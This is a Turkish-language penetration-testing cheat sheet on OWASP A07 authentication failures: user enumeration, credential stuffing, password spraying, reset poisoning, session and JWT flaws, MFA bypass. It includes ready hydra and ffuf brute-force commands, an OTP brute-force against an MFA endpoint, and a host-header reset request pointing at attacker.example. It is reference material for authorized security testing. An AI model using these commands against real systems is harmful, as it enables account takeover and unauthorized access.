Authentication Failures
OWASP A07 difficulty: değişken
Identification and Authentication Failures, kullanıcının kimliğinin güvenilir biçimde doğrulanamamasıdır: zayıf parola politikaları, otomatik saldırılara açıklık, kusurlu oturum ve token yönetimi.
Saldırı yüzeyi
Section titled “Saldırı yüzeyi”□ Credential stuffing — sızmış e-posta/parola çiftleri□ Brute / password spraying — az parola × çok kullanıcı□ Kullanıcı adı enumerasyonu — mesaj / kod / timing□ Zayıf oturum — öngörülebilir id, logout invalidate yok, fixation□ Kusurlu reset — zayıf token, host header zehirleme, log leak□ MFA atlatma — response manip, OTP brute, yedek kod, MFA'sız APIKullanıcı enumerasyonu
Section titled “Kullanıcı enumerasyonu”"User not found" vs "Invalid password"HTTP 200 + "invalid" vs HTTP 401Kayıt / şifre sıfırlama uçları da enum verirTiming: geçerli kullanıcıda hash karşılaştırması daha uzunffuf -u https://hedef/login -X POST \ -d 'user=FUZZ&pass=x' -w users.txt -mc all -of csvBrute & stuffing
Section titled “Brute & stuffing”hydra -l admin -P rockyou.txt hedef.com http-post-form \ "/login:user=^USER^&pass=^PASS^:F=Invalid"hydra -L users.txt -p 'Welcome1!' hedef.com http-post-form \ "/login:user=^USER^&pass=^PASS^:F=Invalid"ffuf -u https://hedef/login -X POST \ -d 'user=admin&pass=FUZZ' -w passwords.txt -fc 401Rate limit varsa: farklı uçlar (/api/v1/login vs /api/v2/login), case varyantları, “forgot password” flood ayrı bulgu.
Parola sıfırlama
Section titled “Parola sıfırlama”-
Token entropisi — kısa/sayısal token brute.
-
Host Header Injection — e-posta linkini attacker domain’ine çevir ( Host Header ).
-
Token leak — Referer, JSON yanıt, destek log’u.
-
Eski token — yeni talep sonrası eski link hâlâ geçerli mi?
-
Account takeover zinciri — reset + email change + no re-auth.
POST /forgot-password HTTP/1.1Host: attacker.exampleContent-Type: application/x-www-form-urlencoded
email=victim@corp.comOturum yönetimi
Section titled “Oturum yönetimi”□ Session id tahmin edilebilir mi?□ Logout sonrası token geçerli mi?□ Concurrent session / remember me□ Cookie: Secure, HttpOnly, SameSite□ Session fixation: login öncesi id aynı mı kalıyor?□ JWT vs opaque session — hangisi?Detay: JWT Saldırıları. Hızlı: JWT Inspector.
-
alg: none — imza kaldırılıp kabul ediliyor mu?
-
Zayıf HMAC secret — offline sözlük + yeniden imzala.
-
Algoritma karıştırma — RS256 + public key as HS secret.
-
Claim manipülasyonu — exp / aud / iss / role .
MFA / OTP atlatma
Section titled “MFA / OTP atlatma”HTTP/1.1 200 OK{"success":true,"mfa_required":false}ffuf -u https://hedef/mfa/verify -X POST \ -d '{"code":"FUZZ"}' -w otp-000000-999999.txt \ -H 'Content-Type: application/json' -H 'Cookie: ...' -fc 401□ Kod yanıt mesajında sızıyor□ "remember device" token çalınabilir / tahmin□ MFA'sız eski mobil API□ Backup codes reuse / download without re-auth□ Voice/SMS OTP race (aynı kod iki oturum)Default & backdoor
Section titled “Default & backdoor”□ admin:admin, vendor default□ /admin /console /manager□ Debug backdoor ?auth=1 / X-Debug-Token□ OAuth "Login as" staging endpointSaldırı zinciri
Section titled “Saldırı zinciri”Enum users → spray Welcome1! → MFA'sız API veya OTP brute → session/JWT → IDOR / adminHost header reset poison → token → ATO